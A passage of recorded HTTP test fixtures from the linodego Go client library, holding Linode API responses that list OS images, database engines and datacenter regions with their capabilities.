form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: GET response: body: '{"data": [{"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.12", "label": "Alpine 3.12", "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.13", "label": "Alpine 3.13", "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.15", "label": "Alpine 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/fedora34", "label": "Fedora 34", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/fedora35", "label": "Fedora 35", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 4600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/debian11-kube-v1.20.15", "label": "Kubernetes 1.20.15 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9-kube-v1.20.7", "label": "Kubernetes 1.20.7 on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9-kube-v1.21.1", "label": "Kubernetes 1.21.1 on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.21.9", "label": "Kubernetes 1.21.9 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9-kube-v1.22.2", "label": "Kubernetes 1.22.2 on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.22.6", "label": "Kubernetes 1.22.6 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.23.4", "label": "Kubernetes 1.23.4 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/opensuse15.3", "label": "openSUSE Leap 15.3", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available"}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": 10000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu21.10", "label": "Ubuntu 21.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.11", "label": "Alpine 3.11", "deprecated": true, "size": 300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos8", "label": "CentOS 8", "deprecated": true, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/fedora33", "label": "Fedora 33", "deprecated": true, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/opensuse15.2", "label": "openSUSE Leap 15.2", "deprecated": true, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu21.04", "label": "Ubuntu 21.04", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}], "page": 1, "pages": 1, "results": 36}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDatabase_Engine.yaml000066400000000000000000000070121474652371000313010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/engines?page=1 method: GET response: body: '{"data": [{"engine": "mysql", "id": "mysql/8", "version": "8"}, {"engine": "postgresql", "id": "postgresql/13", "version": "13"}, {"engine": "postgresql", "id": "postgresql/14", "version": "14"}, {"engine": "postgresql", "id": "postgresql/15", "version": "15"}, {"engine": "postgresql", "id": "postgresql/16", "version": "16"}, {"engine": "postgresql", "id": "postgresql/17", "version": "17"}], "page": 1, "pages": 1, "results": 6}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "431" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/engines/mysql%2F8 method: GET response: body: '{"engine": "mysql", "id": "mysql/8", "version": "8"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "52" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:05:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestDatabase_List.yaml000066400000000000000000005144661474652371000310270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": 